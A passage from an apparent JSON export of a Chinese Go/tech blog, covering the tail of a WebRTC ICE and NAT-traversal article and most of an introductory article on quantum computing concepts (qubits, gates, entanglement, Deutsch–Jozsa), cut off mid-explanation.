B”)对。\n选择最佳路径 最终，(A”, B”)被选为最佳路径，实现双向NAT穿透。\n一旦选定了最佳候选者对，ICE过程就结束了，可以开始实际的数据传输。\n3.4 ICE重启 最后我们简单说说ICE重启(restart)。ICE restart提供了一种在不中断现有应用会话的情况下重新建立和优化网络连接的机制。这通常是因为网络条件发生了变化或者需要切换到更优的连接路径。下面序列图展示了ICE重启的基本流程：\n注：上图由mermaid生成，对应的脚本在webrtc-first-lesson/part2/ice-restart-sequence.mermaid\nICE restart可能由多种原因触发，如网络变化、切换到更优路径、或解决连接问题。任何一方都可以发起ICE restart。\n和前面的ICE流程不同之处在于重启时，发起restart的一方会生成新的ICE ufrag和password。这些新的凭证用于区分新的ICE会话和旧的会话。\n之后的流程就和正常的ICE交互选出最优通信路径没有太大区别了！这里也就不重复说明了。\n注：ICE restart不一定会改变控制方（controlling）和受控方（controlled）的角色。通常情况下，原有的角色分配会被保持。\n4. 小结 在这篇文章中，我们深入探讨了WebRTC连接建立的全流程，涵盖了以下关键概念：\n信令：我们讨论了信令的重要性，并了解了基于Room抽象的常见的信令服务器模型； ICE框架：我们学习了ICE候选信息的收集、交换以及连接检查； NAT穿透：我们在ICE连接检查过程中，详细说明了ICE是如何实现NAT穿透并选出最终最优的通信路径的。 在实际生产应用中，我们可能还需要考虑以下几点：\n连接建立优化：可以通过使用ICE Lite、预先收集候选信息等方式来加速连接建立过程。 安全性考虑：在生产环境中，应该使用HTTPS和WSS来保护信令通道。 错误处理和重连：实际应用中需要处理各种可能的错误情况，并实现自动重连机制。 在接下来的系列文章中，我将用一个相对完整的演示示例来展示WebRTC应用端到端建连的所有细节(通过TRACE级别日志)，希望通过这些细节的分析能帮助大家更好地理解WebRTC的建连过程。\n本文涉及的Mermaid源码在这里可以下载到 – https://github.com/bigwhite/experiments/blob/master/webrtc-first-lesson/part2\n5. 参考资料 WebRTC 1.0: Real-time Communication Between Browsers – https://www.w3.org/TR/webrtc/ Interactive Connectivity Establishment (ICE) – https://tools.ietf.org/html/rfc8445 Session Traversal Utilities for NAT (STUN) – https://tools.ietf.org/html/rfc8489 Traversal Using Relays around NAT (TURN) – https://tools.ietf.org/html/rfc8656 Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/12/14/webrtc-first-lesson-how-connection-estabish/","summary":"\u003cp\u003e\u003cimg alt=\"Image 39\" loading=\"lazy\" src=\"/images/wp-content/uploads/webrtc-first-lesson-how-connection-estabish-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/12/14/webrtc-first-lesson-how-connection-estabish\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/12/14/webrtc-first-lesson-how-connection-estabish\"\u003ehttps://tonybai.com/2024/12/14/webrtc-first-lesson-how-connection-estabish\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在上一篇文章《\u003ca href=\"https://tonybai.com/2024/11/27/webrtc-first-lesson-network-architecture-and-how-nat-work\"\u003eWebRTC第一课：网络架构与NAT工作原理\u003c/a\u003e》中，我们介绍了WebRTC的网络架构和NAT的基本概念，学习了WebRTC采用端对端（P2P）的通信模型，知道了NAT（网络地址转换）的概念以及给像WebRTC这样的直接P2P通信带来的挑战。\u003c/p\u003e\n\u003cp\u003e在实际的网络环境中，建立WebRTC这样的端到端连接的确并非易事。因此，在这篇文章中，我将继续上一篇文章的内容，全面探讨一下WebRTC连接建立的全流程，涵盖信令交换、ICE候选信息采集和选择、NAT穿透的各个关键步骤，希望能给大家理解WebRTC技术栈带去帮助。\u003c/p\u003e","title":"WebRTC第一课：从信令、ICE到NAT穿透的连接建立全流程"},{"content":"\n本文永久链接 – https://tonybai.com/2024/12/11/simulate-quantum-computing-in-go\n2019年，Google宣布实现”量子霸权”，声称其53量子比特的量子计算机完成了一个经典超级计算机需要1万年才能完成的计算任务。这一宣告在当时引发了广泛关注和热议。而在这个过程中，我们也看到了太多对量子计算的误解。有人将其想象成未来取代经典计算机的全能机器，认为它能以指数级速度解决所有计算问题；也有人认为量子计算只是一个遥不可及的科研概念，与实际应用毫无关联。\n五年过去了，世界依然被经典计算机主宰，量子计算逐渐变成了“落魄网红”，淡出了公众视野。\n如今，人们对量子计算机的印象似乎仅剩下那盏“豪华吊灯”：\n量子计算机(图片来自网络)\n作为领域局外人，我无法判断量子计算是否进入了技术成熟度曲线（Hype Cycle）的”泡沫破裂谷底期”。但现在的量子计算机在用途上与图形处理单元(GPU)很类似，都主要集中在特定领域的问题解决上，且在这些领域预期会展现出独特的优势。\nGPU主要设计用于图形渲染、图像处理等领域，后因其能够高效地处理并行计算任务，在机器学习模型训练和推理领域也取得了显著成功。类似地，量子计算机当前也专注于一些特定的应用领域，如量子模拟、优化问题和密码学等。它们在解决这些复杂问题时，理论上有可能实现远超经典计算机的性能。\n但无论是GPU还是量子计算，目前看来都无法胜任经典计算机中通用处理器(CPU)所擅长的一般任务，这就决定了经典计算机势必仍将存在，并且是我们和GPU以及量子计算机彼此交流和互动的主要方式。\n从经典计算机的角度，GPU是其图形计算单元，经典计算机会将其擅长的任务分派到GPU上进行处理。按照这个思路，我们可以大胆地设想一种叫作QPU(Quantum Processing Unit)的量子处理单元，经典计算机会将量子计算擅长的计算任务分派到QPU上进行处理：\n这样的计算机结构，对于程序员来说再熟悉不过了！\n到这里，有人可能会问：那么大一个“豪华吊灯”，如何能变为一个小巧玲珑的QPU并放到我们常见的PC中呢？\n回顾经典的通用计算机发展史，这种可能性还真的存在。你能想到80年前由冯·诺依曼主持设计的第一代存储程序的计算机(即冯·诺依曼机，现代计算机的原型)EDVAC(电子离散变量自动计算机，Electronic Discrete Variable Automatic Computer)有多大吗：\n经典计算机EDVAC(图片来自网络)\n这个庞然大物的算力可能还不如现在你手腕上带的智能手表。随着物理学、材料科学等前沿学科的突破，“豪华大吊灯”变成一块板卡也不是没有可能。\n与经典计算机的融合意味着如今的开发人员依然可以使用熟悉的人机交互界面与量子计算机打交道，包括量子计算的编程。但要针对量子计算机编程，需要了解量子计算的一般原理，就像基于英伟达的CUDA进行GPU编程一样。\n然而，目前的现实是量子计算机依然是“昂贵且稀缺的设备”，世界范围内只有巨头公司以及大型科研院所才拥有真实的量子计算机。但普通程序员仍然可以通过模拟器工具一窥其奥秘，理解其核心概念并为未来应用做好准备：\n量子编程的层次结构\n这些量子模拟器可以在经典计算机上模拟量子计算过程，让量子计算的学习和实验变得触手可及。在这篇文章中，我就和大家一起学习一下量子编程的基本概念和编程方法，并使用模拟器编写一些简单的量子计算程序。\n1. 从经典计算到量子计算的认知跨越 要理解量子计算，我们需要先回顾经典计算的基本概念和抽象，然后建立起通向量子计算的认知桥梁。\n1.1 经典计算机的基本抽象 在经典计算中，信息的基本单位是比特（bit），其值由两种电平状态来表示：\n低电平（0）：通常表示为“0”或“低电压”，例如0伏特。 高电平（1）：通常表示为“1”或“高电压”，例如5伏特或3.3伏特。 即每个比特的值只能取0或1。这种电平的二元状态形成了数字电路的基础，使得计算机能够处理和存储信息。\n比特的电平状态不仅用于计算，还用于信息的存储和传输。在存储器（如RAM）中，每个比特的位置对应于一个电平状态，通常通过电容或电感来保持电平。在数据传输中，信号的电平变化用于表示比特的流动，例如在串行或并行通信中。\n1.1.1 比特与布尔逻辑 经典计算机使用比特进行所有信息处理。而布尔逻辑正是基于比特的逻辑运算，包括以下基本操作：\nAND（与）：仅当两个输入均为1时，输出才为1。 OR（或）：只要有一个输入为1，输出即为1。 NOT（非）：将输入的0变为1，1变为0。 这些基本逻辑门是构建更复杂运算的基础，所有复杂的计算都可以通过这些简单的逻辑操作组合而成。\n1.1.2 门电路模型 门电路模型是经典计算的核心，利用逻辑门的连接来实现复杂的计算任务。电路由逻辑门（如与门、或门、非门等）构成，通过这些门的组合与连接，可以构建出加法器、乘法器等基本算术单元，以及更复杂的功能，比如处理器中的运算单元。门电路模型的优势在于其可组合性和可扩展性，使得计算机能够执行从简单到复杂的各种任务。\n1.1.3 程序抽象 编程语言为程序员提供了更高级的抽象，使得比特操作不再需要直接进行，尤其是近半个世纪以来诞生的高级语言，如C/C++、Java、Go、Python等。通过这些高级编程语言，开发者可以使用更接近自然语言的语法来编写代码，底层的比特操作则由编译器或解释器自动处理。这种抽象不仅提高了编程效率，也使得程序员可以专注于算法和逻辑，而不必深入底层硬件细节。例如，C、Go、Python等编程语言提供了丰富的类型系统、控制结构与高级数据结构，使得程序员可以用简单的语句来处理复杂的数据操作。随着技术的发展，面向对象编程、函数式编程等新范式也相继出现，为软件开发提供了更灵活的方式。\n以上对经典计算机的认知路径能够为理解量子计算机提供重要的基础和视角。接下来，我们就沿着这个路径认识一下量子计算的核心概念。\n1.2 量子计算的核心概念 提及“量子”，人们首先想到的可能是大学物理中的量子力学。量子的概念来源于物理学，但和电子等真实存在的粒子不同，“量子”并不是指某个特定的粒子，而是一个广泛的基本概念，用来描述物质和能量在微观尺度上的离散性。在物理学中，量子具有以下主要特性：\n不确定性 海森堡的不确定性原理。该原理指出，某些物理量的精确值不能同时被完全确定，比如位置和动量。即使在理想情况下，测量一个量的精确性会导致对另一个量的测量不确定性增加。\n量子叠加态 在量子力学中，物体的状态被称为量子态。量子态可以通过波函数来描述，波函数包含了物体可能的所有状态的信息。此外，量子叠加原理允许一个量子系统同时处于多个状态。例如，电子可以同时占据多个能级，直到被测量时才“坍缩”到某个具体状态。(关于叠加态，后面详说)\n量子纠缠 量子纠缠是指两个或多个量子系统之间存在一种特殊的关联，使得对其中一个系统的测量会立即影响到另一个系统的状态，无论它们的距离有多远。量子纠缠是量子计算和量子通信的重要基础。\n注：不要问我如何深入理解上述的特性，如果你对量子机制感兴趣，可以去读读费曼教授的物理学讲义，如果你能读懂的话:)。\n而量子计算就是建构在量子的上述特性之上的。\n1.2.1 量子比特（Qubit） 经典计算机中，信息和操作的基本单位是比特，在量子计算中，信息和操作的基本单位是量子比特(qubit)。不过与经典比特的确定的二元状态（0或1）不同，量子比特处于叠加态(Superposition)。\n要理解量子计算，首当其冲的就是理解什么是量子比特的叠加态。\n注意！注意！烧脑内容即将来袭！\n学习大学物理时，估计大家都接触过量子力学的皮毛，可能让你印象最深的就是“薛定谔的猫(Schrödinger’s Cat)”！\n图来自网络\n这是奥地利著名物理学家薛定谔提出的一个思想实验，是指将一只猫关在装有少量镭和氰化物的密闭容器里。镭的衰变存在几率，如果镭发生衰变，会触发机关打碎装有氰化物的瓶子，猫就会死；如果镭不发生衰变，猫就存活。根据量子力学理论，由于放射性的镭处于衰变和没有衰变两种状态的叠加，猫就理应处于死猫和活猫的叠加状态。这只既死又活的猫就是所谓的“薛定谔的猫”。\n我们的量子比特就好比那只“薛定谔的猫”，只不过它的状态不是“死”和“活”的叠加态，而是0和1的叠加态。要知道“薛定谔的猫”的最终状态，需要观察者。而要知道一个量子比特的最终状态，需要对其进行测量(measure)。\n这里有两个概念需要深入理解，一个是0和1的叠加态，另一个则是测量。\n经典计算机的比特的状态是确定性的，你设置为1，它就是1，你设置为0，它就是0。如果在其生命周期内，你不去修改它，它会一直保持其最初的状态。\n但量子比特的状态却不是确定性的，而是概率性的，即量子比特是以概率的形式存在。不过要了解量子比特，我们需要先了解如何表示量子比特，就像我们在经典计算中用二进制数表示经典比特那样。\n在量子计算领域，量子比特有两种表示法：狄拉克符号表示法(Dirac notation)和布洛克球(Bloch sphere)几何表示法，下面分别简单介绍一下。\n1.2.2 狄拉克符号表示法 狄拉克符号是一种用于表示量子态的数学符号，也称为“凯特尔符号(ket notation)”，这个名称来源于单词“bracket”中的“bra”和“ket”。“Ket”指代右括号，用于量子态的表示，形式为|ψ⟩，其中ψ是量子态的名称或描述。而“Bra”是与“Ket”相对的符号，形式为⟨φ|，用于表示量子态的共轭转置。狄拉克符号的引入极大地方便了量子力学中的数学描述，使得量子态的表示更加简洁和直观。使用这些符号，物理学家可以轻松地进行状态的叠加、内积、外积等操作。\n采用狄拉克符号的量子比特的通用状态，即叠加态的表示写法如下：\n∣ψ⟩=α∣0⟩+β∣1⟩ 其中|0⟩和|1⟩代表了量子比特的两个基本状态：\n- |0⟩状态：称为基态（ground state）或零态（zero state）。这是量子比特的最低能量状态，对处于这个能量状态的量子比特进行测量时，它会坍缩为经典比特值0。 - |1⟩状态：称为激发态（excited state）或一态（one state）。这是量子比特的高能量状态，对处于这个能量状态的量子比特进行测量时，它会坍缩为经典比特值1。 而叠加态表示中的α和β是两个复数，且它们满足归一化条件，即它们模的平方和为1，表示在进行测量时，量子比特在状态|0⟩和|1⟩的概率总和为1：\n|α|^2 + |β|^2 = 1 α和β也被称为|0⟩和|1⟩态的概率幅。\n而上面说的基态和激发态则是叠加态的两个特例：\n∣ψ⟩= |0⟩ = α∣0⟩+β∣1⟩ = 1∣0⟩ + 0∣1⟩，即此时α=1，β=0； ∣ψ⟩= |1⟩ = α∣0⟩+β∣1⟩ = 0∣0⟩ + 1∣1⟩，即此时α=0，β=1； 还有一种量子比特的状态比较常用，那就是|0⟩状态量子比特通过Hadamard门(稍后会详细说明)生成的均匀叠加态量子比特。这个状态表示该量子比特在测量时有50%的概率得到|0⟩和50%的概率得到|1⟩。该量子比特可以表示为：\n∣ψ⟩=(1/√2)|0⟩ + (1/√2)|1⟩ 即α = β = 1/√2。而α、β这两个复数的值也可以推断一下，可以是：\nα = 1/2 + (1/2)i β = 1/2 - (1/2)i 也可以是：\nα = 1/√2 + 0i β = 1/√2 + 0i 它们都满足量子比特叠加态的归一化条件。\n和任何计算对象一样，量子比特也有其图形化的表示法，即布洛克球。接下来，我们就来说明一下什么是布洛克球。\n1.2.3 布洛克球几何表示法 布洛克球(如下图)是一种用于直观理解量子比特状态的表示法。\n图来自《Quantum Computation and Quantum Information，10周年版》一书\n量子比特的状态可以用球面上的点表示，通常使用极坐标。\n如上图所示：\n角度θ表示从正Z轴的倾斜角度（0到π），是布洛赫球上的纬度角，决定状态向量在z轴上的投影，描述了比特更接近|0⟩还是|1⟩。\n角度ϕ表示在XY平面上的方位角（0到2π），是布洛赫球上的经度角，表示相对相位。不同的ϕ可能不会影响单独测量|0⟩或|1⟩的概率，但会影响量子态之间的干涉效应，因此对量子计算非常重要。\n布洛克球的每个点代表一个量子比特的可能状态，其状态可以表示为下面公式：\n球的北极（|0⟩）和南极（|1⟩）分别对应量子比特的基态和激发态，而球面上的其他点则表示叠加态。\n1.2.4 测量(measure) 量子比特一直处于叠加态，其结果也是不确定的。但我们基于量子比特进行计算的目的是为了得到确定的结果，这就需要对量子比特进行测量。\n测量是量子系统与经典系统之间的交互过程，通过这一过程，量子比特的叠加态将坍缩到一个确定的状态（基态0或激发态1）。\n由前面的内容我们知道，量子比特的叠加状态是一种概率性的，在量子测量中，并没有一个固定的概率值来决定坍缩为基态或激发态，因此测量结果也是随机的。\n测量结果为0的概率（基态）为P(0)=∣α∣^2，测量结果为1的概率（激发态）为：P(1)=∣β∣^2。\n如果P(0) \u0026gt;= P(1)，量子比特更有可能坍缩为|0⟩（经典比特值为0），反之，量子比特更有可能坍缩为|1⟩（经典比特值为1）。\n测量将使得量子比特失去叠加状态，转变为经典状态。这意味着在测量之后量子比特的叠加态特性将不复存在了。\n1.2.5 多个量子比特 在经典计算中，单个经典比特只能表示两个状态0和1，要表示更多状态需要多个经典比特。比如如果有两个经典比特，那么会有四种可能的状态：00、01、10和11。8个经典比特可以表示2^8个状态，以此类推。\n在量子计算中，我们也可以将多个量子比特放到一起来表示组合状态，这种组合状态可以通过张量积表示和实现。\n张量积（tensor product）是数学中一种组合两个向量空间的方法。对于两个复数向量空间A和B，它们的张量积A⊗B创建一个新的向量空间，表示两个空间的所有可能的“组合”。\n对于量子比特而言，如果我们有两个量子比特的状态：∣ψ1⟩和|ψ2⟩，它们的组合状态，即张量积可以表示为：\n∣ψ⟩ = ∣ψ1⟩⊗ |ψ2⟩ 也可表示为|ψ1ψ2⟩ = ∣ψ1⟩⊗ |ψ2⟩ 比如一个两量子比特的系统有四个计算基态，由每个量子比特的基态(|0⟩或|1⟩)组合而成，表示为|00⟩、|01⟩、|10⟩和|11⟩。\n一对量子比特也可以存在于这四种状态的叠加中，这两个量子比特的量子叠加态|ψ⟩可以表示为下面公式：\n|ψ⟩ = a|00⟩ + b|01⟩ + c|10⟩ + d|11⟩ 即每种组合的计算基态的叠加，其中的a、b、c、d与前面的单个量子比特的基态的系数一样，都是一个复数，它们同样满足归一化条件，即它们模的平方和为1：\n|a|^2 + |b|^2 + |c|^2 + |d|^2 = 1 两个量子比特的叠加态还有一个特殊的名字叫Bell态(Bell state)。由此类推，一个n量子比特的系统将可以表示2^n种状态的叠加，至于测量后会得到哪种状态，那就是随机的了，要看哪种状态的概率更大。\n2. 量子门电路 抽象出量子比特的目的是为了运算，经典比特的运算由各种逻辑门电路实现，并通过门电路的组合实现更为强大和复杂的运算能力。量子比特的操作也是由量子门电路实现的。量子计算中的门电路是对量子比特进行操作的基本单元，其作用是对量子比特的状态进行变换。下面我们就来看看都有哪些常见的量子门电路。\n2.1 单量子比特门 单量子比特门作用于一个量子比特，改变其状态。\nHadamard门(H门) H门可以将量子比特从基态（|0⟩或|1⟩）转变为均匀叠加态，常用于初始化叠加态，是许多量子算法（如 Grover 和 Shor 算法）的基础：\n对于基态|0⟩运用H门： H|0⟩ = (1/√2)|0⟩ + (1/√2)|1⟩ 对于基态|1⟩运用H门： H|1⟩ = (1/√2)|0⟩ - (1/√2)|1⟩ Pauli-X门 类似经典计算中的NOT门，可以实现|0⟩和|1⟩的交换，即将|0⟩变为|1⟩，|1⟩变为|0⟩：\nX∣0⟩=∣1⟩ X∣1⟩=∣0⟩ Pauli-Y门 Pauli-Y门不仅可以像Pauli-X门那样翻转比特的状态，还引入了一个相位因子：\nY∣0⟩=i∣1⟩ Y∣1⟩=−i∣0⟩ Pauli-Z门 Pauli-Z门主要负责相位反转。它不会改变|0⟩状态，但会对|1⟩状态施加相位反转。它在量子信息处理中用于引入相位差：\nZ∣0⟩=∣0⟩ Z∣1⟩=−∣1⟩ S门（相位门） S门，也称为相位门，能够对量子比特状态施加特定的相位。它只影响|1⟩态的相位，在|1⟩态上施加相位π/2(即i)，而不改变|0⟩态。\nS∣0⟩=∣0⟩ S∣1⟩=i∣1⟩ T门 T门，也称为四分之一相位门，类似于S门，但施加的相位为π/4，即|1⟩态上施加相位π/4，而对|0⟩态没有影响：\nT∣0⟩=∣0⟩ T∣1⟩=e^(i*π/4)∣1⟩ S门和T门可以组合使用，形成更复杂的相位操作。例如，S门可以被看作是T门的平方。这些相位门在量子计算中具有重要作用，尤其是在量子态的干涉和量子算法（如量子傅里叶变换）中。\n量子态的干涉是量子力学中的一个核心现象，类似于经典波动中的干涉现象。它描述了不同量子态之间相位关系的作用，导致量子态的概率幅相加或相消，从而影响测量结果。\n干涉现象可以分为两种类型：\n加强干涉（Constructive Interference）：当两种或多种量子态的概率幅相位相同或相近时，它们会相互叠加，增强某个测量结果的概率。例如，如果两个量子态均为∣1⟩，则它们的概率幅相加，导致更高的测量概率。 削弱干涉（Destructive Interference）：当不同量子态的概率幅相位相反时，它们会互相抵消，降低某个测量结果的概率。例如，如果一个状态为∣0⟩，另一个状态为∣1⟩的相位相反，则它们的叠加会导致测量结果的概率减少。 量子计算中常见的两种算法：Shor算法和Grover算法就是利用量子干涉来提高计算效率的。\n2.2 双量子比特门 双量子比特门是量子计算中用于处理两个量子比特之间关系的基本操作。这些门能够实现量子比特之间的纠缠(关于这个概念稍后再说)和相互作用，是量子计算的重要组成部分。下面介绍几种常见的双量子比特门：\nCNOT门（受控-NOT门） CNOT门(Controlled-NOT Gate)是最常用的双量子比特门之一。它对一个量子比特（目标比特）施加NOT操作，前提是另一个量子比特（控制比特）处于|1⟩状态，具体表现如下(第一个量子比特为控制比特，第二个量子比特为目标比特)：\n- 输入状态|00⟩，变为 |00⟩ - 输入状态|01⟩，变为 |01⟩ - 输入状态|10⟩，变为 |11⟩ - 输入状态|11⟩，变为 |10⟩ CNOT门能够创建量子比特之间的纠缠，是量子计算中实现量子算法的基础。\nCZ门（受控-Z门） CZ门是另一种重要的双量子比特门。它对目标量子比特施加Z门（相位反转）操作，前提是控制量子比特(第一个量子比特)的状态为|1⟩。其具体表现如下：\n- 输入状态|00⟩, 变为|00⟩ - 输入状态|01⟩, 变为|01⟩ - 输入状态|10⟩, 变为|10⟩ - 输入状态|11⟩, 变为-|11⟩（施加相位反转） CZ门用于引入相位关系，也常用于量子纠缠和量子算法中。\nSWAP门 SWAP门是一种双量子比特门，它的主要功能是交换两个量子比特的状态。具体来说，如果有两个量子比特A和B，SWAP门会将它们的状态互换。\n给定输入状态|AB⟩，SWAP门的作用如下：\n|00⟩ → |00⟩ |01⟩ → |10⟩ |10⟩ → |01⟩ |11⟩ → |11⟩ 我们看到：SWAP门将|0⟩和|1⟩的状态互换，而|00⟩和|11⟩保持不变。\n在量子通信中，SWAP门可以用于在不同的量子比特之间交换信息。在量子电路中，SWAP门可以用来重排量子比特的位置，以实现特定的逻辑操作。\n接下来，我们再来看看常用的多量子比特门，即三个或三个以上量子比特的门电路。\n2.3 多量子比特门 Toffoli门（CCNOT门） Toffoli门是一个三量子比特门，只有在前两个量子比特均为|1⟩时，才对第三个量子比特施加NOT操作。其具体行为表现如下：\n- 输入状态|000⟩, 变为|000⟩ - 输入状态|001⟩, 变为|001⟩ - 输入状态|010⟩, 变为|010⟩ - 输入状态|011⟩, 变为|011⟩ - 输入状态|100⟩, 变为|100⟩ - 输入状态|101⟩, 变为|101⟩ - 输入状态|110⟩, 变为|111⟩ - 输入状态|111⟩, 变为|110⟩ Toffoli门也是经典计算的量子对应物，能够实现复杂的逻辑操作，常用于量子纠错和量子算法中。\nCSWAP门（受控-SWAP门） CSWAP门是一种受控的操作双量子的比特门，但因为有一个额外的控制量子比特，因此将其纳入多量子比特门一类。和SWAP门无条件交换两个量子比特状态不同，CSWAP门只有在控制量子比特处于|1⟩状态时，才会交换目标量子比特的状态。它可以看作是SWAP门的受控版本。\n给定输入状态|CAB⟩，其中C为控制比特，A和B为目标比特，CSWAP门的作用如下：\n当C = |0⟩时，|CAB⟩保持不变。 当C = |1⟩时： |101⟩ → |110⟩ |100⟩ → |101⟩ |011⟩ → |011⟩ |010⟩ → |010⟩ 2.4 特殊组合门 和经典计算的门电路组合一样，通过对上面量子门的组合，我们可以得到一些非常实用的门电路，其中贝尔态门（Bell State Gate）就是一种非常常用的量子门，它的主要功能是将两个量子比特从一个未纠缠的状态转换为一个纠缠状态。常见的实现方式是通过组合Hadamard门和CNOT门来生成贝尔态。贝尔态在量子通信、量子密码学和量子纠缠研究中都有着重要应用。\n假设初始态是两个量子比特的分离态∣ψ⟩=∣00⟩，以下步骤可以生成Bell态：\n对第一个量子比特应用H门： H∣0⟩= 1/√2(∣0⟩+∣1⟩) 这之后整体状态变为：\n|ψ⟩= 1/√2(∣0⟩+∣1⟩)∣0⟩ = 1/√2(∣00⟩+∣10⟩) 继续应用CNOT门（控制比特为第一个比特，目标比特为第二个比特） 如果控制比特是∣0⟩，目标比特保持不变。\n如果控制比特是∣1⟩，目标比特翻转。\nCNOT门作用后，状态变为：\n|ψ⟩= 1/√2(∣00⟩+∣11⟩) 这就是Bell态！\n2.5 量子纠缠态 好，到这里也该说一说之前提到的量子纠缠态了。\n一提到量子纠缠，人们通常会想到它的神秘性和非经典特性，尤其是关于量子之间的瞬时关联和信息传递的潜能。这种现象挑战了经典物理的直觉，常常引发人们对量子计算、量子通信和量子隐形传态等前沿技术的兴趣与讨论。同时，量子纠缠也引发了关于量子力学基础的哲学思考，例如关于现实、因果关系和信息本质的深层次问题。\n通过前面的学习，我们知道每个量子比特都有自己的状态，可以是初始基态∣0⟩或|1⟩，也可以是叠加态∣ψ⟩=α∣0⟩+β∣1⟩。我们还可以将多个量子比特的状态合并成一个更高维度的复合量子态，这种组合状态可以通过张量积表示和实现。\n在量子计算中，量子纠缠也是一种量子态，但其中系统的整体状态无法写成各部分状态的简单张量积。例如，如果两个粒子的状态∣ψ⟩是纠缠态，则意味着我们无法将它分解为如下形式：\n∣ψ⟩ =∣ψ1⟩⊗ ∣ψ2⟩ // 这里∣ψ1⟩和∣ψ2⟩分别是量子比特1和量子比特2的单独态。 纠缠态的独特之处在于以下两点：\n非局域性：两个粒子即使相距遥远，其状态仍然以某种方式相互关联。 测量相关性：对其中一个粒子的测量结果会即时影响另一个粒子的测量结果。 以上面形成纠缠态的Bell态为例：\n|ψ⟩= 1/√2(∣00⟩+∣11⟩) 量子纠缠使得两个比特的状态紧密关联，它表示系统有50%的概率处于∣00⟩，有50%的概率处于|11⟩。\n在量子计算中，测量是一个不可逆的过程，它会强制系统状态从叠加态塌缩到与测量结果一致的确定态。在Bell状态下，纠缠的非局域性保证了两个比特始终保持一致，无论测量顺序如何。\n测量第一个量子比特后，如果得到的结果是∣0⟩，则整个系统的状态立即塌缩为|00⟩，则第二个量子比特的测量结果也必定是∣0⟩。如果测量第一个量子比特的结果是|1⟩，则整个系统的状态立即塌缩为11⟩，则第二个量子比特的测量结果也必定是∣1⟩。\n量子纠缠的测量相关性没有经典的对应物，但可以用下面这个隐喻来帮助理解：\n想象一对手套，左手套和右手套随机装进两个盒子，分别送到两个人手中。 如果一个人打开盒子发现是左手套，他立刻知道另一个人拿到的是右手套。 只是与经典类比不同的是，量子纠缠中没有“预先分配”的状态，测量本身创造了这种确定性。\n在真实的量子计算机中，量子纠缠已经得到了实现，并且被广泛用作验证量子计算机性能的基础实验之一。通过操纵量子比特，我们能够在单一量子计算机上生成并观察到纠缠态的特性。但这仅限于单台量子计算机中的两个量子比特。\n而在远距离的两个量子之间建立纠缠，这是量子通信的核心研究目标。据公开报道，中国科学家已通过光子实现了远距离纠缠分发。中国“墨子号”量子科学实验卫星成功在1200公里的距离上分发了纠缠态光子对，这是量子通信中“量子纠缠分发”的成功案例。\n到这里，我们已经介绍了量子计算的常见各种量子比特门电路，而基于上述量子比特门电路来解决经典计算难以高效解决的问题的算法，就被称为量子算法。下面我们再简单介绍一下量子算法的特性以及有哪些常见的量子算法。\n3. 量子算法 由于量子比特的“超出经典直觉”的性质，相对于经典计算中的算法，量子算法的理解路径更为“崎岖”，有时候大脑需要一些“天马行空”。\n我们以量子计算的经典入门示例算法：多伊奇-乔萨算法为起点，来看一下量子计算算法的一般特点和设计模式。\n多伊奇-乔萨算法（Deutsch–Jozsa algorithm）是戴维·多伊奇和理查德·乔萨于1992年提出的一种确定性量子算法，该算法展示了量子算法在特定问题上指数级加速的能力，以及量子算法设计的一般模式。下面我们就来介绍一下该算法。\n3.1 Deutsch–Jozsa algorithm 《量子计算和量子信息》一书在介绍这个算法时，使用了一个Alice和Bob的故事来解释，这里我们也借鉴一下，希望能更好的帮助大家理解其核心概念和量子计算的优势。\n话说Alice和Bob是一对喜欢挑战逻辑问题的好朋友。某一天，Alice设计了一个“神秘黑箱”（即函数f(x)），可以接收n位二进制输入（例如x = 000, 101, 111），并输出一个二进制结果（0或1）。\n但是，Alice做了一些特殊限制：\n要么黑箱的输出在所有可能输入上是完全一致的，即f(x)恒为0或1，称为“常值”。 要么黑箱的输出在所有可能输入上是均匀分布的，即对一半输入，f(x) = 0，对另一半输入，f(x) = 1，称为“平衡”。 Alice给Bob的任务是：确定这个黑箱到底是常值还是平衡的。\nBob起初考虑使用经典计算机来完成这个任务。他每次输入一个值x，黑箱会返回f(x)。为了判断f(x)是“常值”还是“平衡”，他必须测试多个x：\n如果他输入所有2^n个可能值，看到f(x)恒为0或1，他可以确定黑箱是常值。 如果f(x)的输出在2^n个输入中有一半是0，一半是1，他就知道它是平衡的。 但问题是：最坏情况下，Bob需要检查2^(n-1) + 1次（即超过一半的输入），才能确定黑箱的性质！当n很大时（例如n = 100)，需要有2^99+1次输入。这样的解决方案，经典计算机无法胜任，显然也会被Alice鄙视。\n于是Bob想到用量子计算机来解决这个问题。他发现量子计算可以一次性对所有2^n个输入进行并行处理，并通过量子叠加和干涉提取答案。以下是他用量子计算的步骤：\n初始化 Bob将他的量子计算机初始化到以下起始状态：\n- n个量子比特（输入），全部设置为基态∣0⟩ - 一个辅助比特（输出），设置为∣1⟩。 按照之前的量子比特联合态，我们可以得出当前初始状态为：\n∣0⟩^⊗n ⊗ |1⟩ 如果n=2，那么初始状态即为|00⟩|1⟩。\n进入叠加态 Bob对所有输入比特(包括辅助比特)施加Hadamard门(H门)，使它们进入叠加态：\n这一操作使得所有量子比特都进入叠加态，为后续的量子计算步骤奠定了基础。通过这种方式，算法能够有效地并行处理多个输入状态，尝试所有可能性。\n黑箱作用 